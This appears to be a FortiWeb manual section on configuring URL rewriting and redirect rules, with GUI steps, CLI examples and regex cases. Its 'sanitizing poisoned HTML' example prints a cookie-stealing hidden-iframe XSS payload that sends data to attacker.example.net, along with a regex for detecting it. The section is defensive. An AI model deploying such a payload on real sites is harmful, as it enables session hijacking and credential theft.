Rewriting & redirecting

Rewriting or redirecting HTTP requests and responses is popular, and can be done for many reasons.

Similar to error message cloaking, URL rewriting can prevent the disclosure of underlying technology or web site structures to HTTP clients.

For example, when visiting a blog web page, its URL might be:

http://www.example.com/wordpress/?feed=rss2

Simply knowing the file name, that the blog uses PHP, its compatible database types, and the names of parameters via the URL could help an attacker to craft an appropriate attack for that platform. By rewriting the URL to something more human-readable and less platform-specific, the details can be hidden:

http://www.example.com/rss2

Aside from for security, rewriting and redirects can be for aesthetics or business reasons. Financial institutions can transparently redirect customers that accidentally request HTTP:

http://bank.example.com/login

to authenticate and do transactions on their secured HTTPS site:

https://bank.example.com/login

Additional uses could include:

Much more than their name implies, “URL rewriting rules” can do all of those things, and more:

Rewrites/redirects are not supported in all modes. See Supported features in each operation mode.

FortiWeb cannot rewrite requests that exceed FortiWeb’s buffer size. To block requests that cannot be rewritten, configure Malformed Request.

Rewrites will work on single requests as well as those that have been fragmented using:

Tranfer-Encoding: chunked

To configure a rewriting/redirection rule

1.  Go to Application Delivery > URL Rewriting Policy > URL Rewriting Rule.

2.  Click Create New.

A dialog appears. Its appearance varies by your settings in Action Type, and Request Action or Response Action.

3.  In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4.  In Action Type, select whether this rule will rewrite HTTP requests from clients (Request Action) or HTTP responses from the web server (Response Action).

The next step varies by your selection in this step.

5.  If you selected Request Action in Action Type, in the Request Action drop-down list, select one of the following:

Setting name Description
Host

Enable then type either a host name, such as store.example.com, or IP address if you want to replace the value of the Host: field in the header of HTTP requests. Requests will be redirected to this web host.

This field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in Regular Expression for each object in the condition table. (A capture group is a regular expression, or part of one, surrounded in parentheses. See Regular expression syntax.)

For an example, see Example: Rewriting URLs using variables.

Using Physical Server

Enable to insert the variable FortiWeb_PSERVER in Host.

At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request.

Tip: Use this option when the Deployment Mode option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.

URL

Enable then type a string, such as /catalog/item1, if you want to replace the URL in the HTTP request.

Do not include the name of the web host, such as www.example.com, nor the protocol.

Like Host, this field supports back references such as $0 to the parts of the original request that matched any capture groups that you entered in Regular Expression for each object in the condition table (see What are back-references?).

For an example, see Example: Rewriting URLs using regular expressions.

Referer

Enable then type a URI, such as http://www.example.com/index, if you want to rewrite the Referer: field in the HTTP header.

This option is available only if Request Action is Rewrite HTTP Header.

Using Physical Server

Enable to insert the variable FortiWeb_PSERVER in Referer.

At the time of each specific HTTP request, FortiWeb will replace this variable with the IP address of the physical server to which it is forwarding the request.

Tip: Use this option when the Deployment Mode option in the server policies using this rule is either Server Balance or HTTP Content Routing. In such cases, by definition of load balancing, HTTP requests will be distributed among multiple web servers, and the specific IP addresses of the physical servers cannot be known in advance.

Header Field Name Enable to insert the name of the header field that you want to insert to a request, such as "Myheader".
Header Field Value Enable to insert the value of the header field that you specified in Header Field Name, such as "123". Then, the customized header Myheader: 123 will be inserted to the matched HTTP requests.

6.  If you selected Response Action in Action Type, in the Response Action drop-down list, select one of the following:

7.  Click Create New to add match conditions for the rule to URL Rewriting Condition Table.

A dialog appears.

8.  Configure these settings:

Setting name Description
Object

Select which part of the HTTP request will be tested for a match:

  • HTTP Host — The Host: field in the HTTP header.
    This option does not appear if Response Action in step 6 was Rewrite HTTP Body.
  • HTTP Request URL — The URL in the HTTP header. The URL can be up to 1,024 characters long, unless superseded by HTTP constraints such as HTTP/HTTPS protocol constraints.

    This option does not appear if Response Action in step 6 was Rewrite HTTP Body.

  • HTTP Referer — The Referer: field in the HTTP header. This option appears only if Action Type in step 4 was Request Action.

    This option does not appear if Response Action in step 6 was Rewrite HTTP Body.

  • HTTP Body — The content of the request, such as an HTML document.

    This option appears only if Response Action in step 6 was Rewrite HTTP Body.

  • HTTP Location — The Location: field in the header of the request.

    This option appears only if Response Action in step 6 was Rewrite HTTP Location.

If the request must meet multiple conditions (for example, it must contain both a matching Host: field and a matching URL), add each condition to the condition table separately.

Regular Expression Depending on your selection in Object and Meet this condition if, type a regular expression that defines either all matching or all non-matching objects. Also configure Meet this condition if.
 

For example, for the URL rewriting rule to match all URLs that begin with /wordpress, you could enter ^/wordpress, then, in Meet this condition if, select Object matches the regular expression.

The pattern is not required to begin with a slash ( / ).

When you have finished typing the regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see Regular expression syntax, What are back-references? and Cookbook regular expressions).

Protocol Filter

Enable if you want to match this condition only for either HTTP or HTTPS. Also configure Protocol.

For example, you could redirect clients that accidentally request the login page by HTTP to a more secure HTTPS channel — but the redirect is not necessary for HTTPS requests.

As another example, if URLs in HTTPS requests should be exempt from rewriting, you could configure the rewriting rule to apply only to HTTP requests.

Protocol

Select which protocol will match this condition, either HTTP or HTTPS.

This option appears only if Protocol Filter is enabled.

Content Type Filter Enable if you want to match this condition only for specific HTTP content types (also called Internet or MIME file types) such as text/html, as indicated in the Content-Type: HTTP header. Also configure Content Type Set.
Content Type Set

In the left text area, select one or more HTTP content types that you want to match this condition, then click the right arrow button to move them into the text area on the right side.

This option is visible only if Content Type Filter is enabled.

Meet this condition if

Indicate how to use Regular Expression when determining whether or not this URL rewriting condition is met.

  • Object does not match the regular expressionIf the regular expression does not match the request object, the condition is met.
  • Object matches the regular expression — If the regular expression does match the request object, the condition is met.

If all conditions are met, the FortiWeb appliance executes the Request Action or Response Action, whichever you selected.

9.  If you selected HTTP Referer from Object, also configure the following:

Setting name Description
If no Referer field in HTTP header

Select either:

  • Do not meet this condition
  • Meet this condition

Requests can lack a Referer: field for several reasons, such as if the user manually types the URL, and the request does not result from a hyperlink from another web site, or if the URL resulted from an HTTPS connection. (See the RFC 2616 section on the Referer: field.) In those cases, the field cannot be tested for a matching value.

This option appears only if Object is HTTP Referer.

10.  Click OK.

11.  Repeat the previous two steps until you have defined all matching HTTP requests or responses that should be rewritten as defined in this rule.

12.  Go to Application Delivery > URL Rewriting Policy > URL Rewriting Policy.

To access this part of the web UI, your administrator’s account access profile must have Read and Write permission to items in the Web Protection Configuration category. For details, see Permissions.

13.  Click Create New.

A dialog appears.

14.  In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

15.  Click OK.

16.  Click Create New.

A dialog appears.

17.  For Priority, enter the priority for this rule in relation to other defined rules.

Rule order affects rewriting rule matching and behavior. The search begins with the highest Priority number (0 = greatest priority) rule in the list and progresses in order towards the largest number (lowest priority) in the list. Matching rules are determined by comparing the rule and the request. If no rule matches, the request remains unchanged.

18.  From the Rewriting Rule Name drop-down list, select the name of an existing rewriting rule to add to the policy.

To view or change the information associated with the rule, click the Detail link. The URL Rewriting Rule dialog appears, where you can view and edit the rules. Use your browser’s Back button to return.

19.  Click OK.

20.  Repeat the previous steps for each rule you want to add to the rewriting policy.

21.  If you are rewriting a response from the web server, and it is compressed, configure a decompression rule so that FortiWeb will be able to rewrite. See Configuring temporary decompression for scanning & rewriting.

22.  To apply the rewriting policy, select it in an inline protection profile. For details, see Configuring a protection profile for inline topologies.

See also

Example: HTTP-to-HTTPS redirect

Example.com is a business-oriented social media provider. Its clients require that attackers cannot fraudulently post comments. If an attacker can post while disguised as originating from the client’s business, as this could enable an attacker to ruin a business’s reputation.

To provide clients with protection from HTTP session hijacking tools such as Firesheep, Example.com wants to automatically redirect all HTTP requests to HTTPS. This way, before the client attempts to log in and exposes both their credentials and HTTP session ID to an eavesdropper, the response and subsequent requests are SSL/TLS encrypted, and thereby protected.

The Redirect HTTP to HTTPS option in the server policy configuration allows you to redirect all HTTP requests to equivalent URLs on a secure site.

Alternatively, you can create a rewriting rule that matches all HTTP requests, regardless of host name variations or URL, such as:

http://www.example.com/login

http://www.example.co.jp/

and redirects them to the equivalent URL on its secure sites:

https://www.example.com/login

https://www.example.co.jp/

This rewriting rule has 3 parts:

This regular expression should not match HTTPS requests, since it would decrease performance to redirect requests that are already in HTTPS.

This could be configured via either the CLI or web UI.

CLI commands to implement this are:

config waf url-rewrite url-rewrite-rule

edit "http_to_https"

set action redirect

set location "https://$0/$1"

set host-status disable

set host-use-pserver disable

set referer-status disable

set referer-use-pserver disable

set url-status disable

config match-condition

edit 1

set reg-exp "(.*)"

set protocol-filter enable

next

edit 2

set object http-url

set reg-exp "^/(.*)$"

next

end

next

end

config waf url-rewrite url-rewrite-policy

edit "http_to_https"

config rule

edit 1

set url-rewrite-rule-name "http_to_https"

next

end

next

end

See also

Example: Full host name/URL translation

Example.com wants to translate its domain name: the external DNS name should be rewritten to the internal DNS name, and vice versa.

When the external DNS name www.example.com appears in the client’s request’s HTTP Host: header, it should be rewritten to www-internal.example.com.

In the server’s response traffic, when the internal DNS name www-internal.example.com appears in the Location: header, or in hyperlinks in the document body, it must be rewritten.

To do this, it creates a set of 3 rewriting rules, one for each of parts that FortiWeb must rewrite.

Example request host name rewrite
Object HTTP Host
Regular Expression in URL match condition www.example.com
Host www-internal.example.com
Example response location rewrite
Object HTTP Location
Regular Expression in URL match condition (.*)www-internal.example.com(.*)
Location $0www.example.com$1
Example response hyperlink rewrite
Object HTTP Body
Regular Expression in URL match condition www-internal.example.com
Replacement www.example.com
See also

Example: Sanitizing poisoned HTML

Example.com is a cloud hosting service provider that has just bought several FortiWebs. Thousands of customers rely on it to maintain database-backed web servers. Before FortiWeb was added to its network, its web servers were regularly being attacked. Without HTTP-savvy intrusion detection and filtering, these posts poisoned many of its web applications by using XSS to inject stored clickjacking attacks into login pages.

Example.com wants to mitigate the effects of prior attacks to protect innocent clients while its incident response team finishes forensic work to audit all applications for impact and complete remediation. To do this, it will rewrite the body of offending responses.

Example.com’s incident response team has already found some of the poisoned HTML that is afflicting some login pages. All major web browsers are currently vulnerable.

It replaces the login pages of the web application with a hidden frame set which it uses to steal session or login cookies and spy on login attempts. The attacker can then use stolen login credentials or use the fraudulent session cookies. For bank clients, this is especially devastating: the attacker now has complete account access, including to credit cards.

To mitigate effects, example.com wants to scrub the malicious HTML from responses, before they reach clients that could unwittingly participate in attacks, or have their identities stolen.

To do this, FortiWeb will rewrite the injected attack:

<iframe src="javascript:document.location.href=

‘attacker.example.net/peep?url=‘+

parent.location.href.toString()+‘lulz=‘

escape(document.cookie);"

sandbox="allow-scripts allow-forms"

style="width:0%;height:0%;position:absolute;left:-9999em;">

</iframe>

into a null string to delete it from the infected web server’s response. FortiWeb will replace the attack with its own content:

<script src="http://irt.example.com/toDo.jss></script>

so that each infected response posts the infected host name, URL, and attack permutation to a “to do” list for the incident response team, as well as notifying the impacted customer.

Since attackers often try new attack forms to evade filters, the regular expression uses a few techniques for flexible matching:

Example HTML body rewrite using regular expressions
Object HTTP Body
Regular Expression in URL match condition (?i)<(\s)*iframe[\s\/]*src=(\s)*["'`?“”„?‚’‘'?‹›«»]javascript:(\n|.)*</iframe>
Replacement <script src="http://irt.example.com/toDo.jss></script>
See also

Example: Inserting & deleting body text

Example.com wants to delete some text, and insert other text. As an example, it wants to change:

Hey everyone, this works!

to:

Hey, this works now!

To do this, it will rewrite matching parts of the body in the web server’s response.

The regular expression contains capture groups (.*) that create numbered substrings — back-references such as $0 — that you can recall by their number when writing the replacement text. By omitting a capture group (in this case, $1 is omitted from Replacement), that part of the text is removed. To insert text, simply add it to the replacement text.

Example body rewrite using regular expressions
Object HTTP Body
Regular Expression in URL match condition (.*)(everyone), (.*)(works)!
Replacement $0, $2 $3 now!
See also

Example: Rewriting URLs using regular expressions

Example.edu is a large university. Professors use a mixture of WordPress and Movable Type software for their course web pages to keep students updated. In addition, the campus bookstore and software store use custom shopping cart software. The URLs of these web applications contain clues about the underlying vendors, databases and scripting languages.

The university is a frequent target of attacks because it is a large organization with many mobile users and guests, and an Internet connection with large bandwidth. Its network administrators want to hide the underlying technology to make it more difficult for attackers to craft platform-specific attacks. Example.edu also wants to make clients’ bookmarked URLs more permanent, so that clients will not need to repair them if the university switches software vendors.

Because it has so many URLs, the university uses regular expressions to rewrite sets of similar URLs, rather than configuring rewrites for each URL individually. More specific URL rewrite rules are selected first in the URL rewriting group, before general ones, due to the affects of the matching order on which each rewrite rule is applied.

Example URL rewrites using regular expressions
Regular expression in URL match condition URL Example URL in client’s request Result
^/cgi/python/ustore/payment.html$ /store/checkout /cgi/python/ustore/payment.html /store/checkout
^/ustore*$ /store/view /ustore/viewItem.asp?id=1&img=2 /store/view
/Wordpress/(.*) /blog/$0 /wordpress/10/11/24 /blog/10/11/24
/(.*)\.xml /$0 /index.xml /index
See also

Example: Rewriting URLs using variables

Example.com has a web site that uses ASP, but the administrator wants it to appear that the web site uses PHP. To do this, the administrator configured a rule that changes any requested file's extension which is asp into php.

The condition table contains two match conditions, in this order:

1.  The Host: may be anything.

2.  The request URL must end in .asp.

If both of those are true, the request is rewritten.

The administrator does not want to rewrite matching requests into a single URL. Instead, the administrator wants each rewritten URL to re-use parts of the original request.

To assemble the rewritten URL by re-using the original request’s file path and Host:, the administrator uses two back reference variables: $0 and $1. Each variable refers to a part of the original request. The parts are determined by which capture group was matched in the Regular Expression field of each condition table object.

Example URL rewrites using regular expressions
Example request URL Rewriting Condition Table Replacement URL Result
www.example.com HTTP Host (.*) Host $0 www.example.com
/news/local.asp HTTP URL /(.*)\.asp URL /$1.php /news/local.php
See also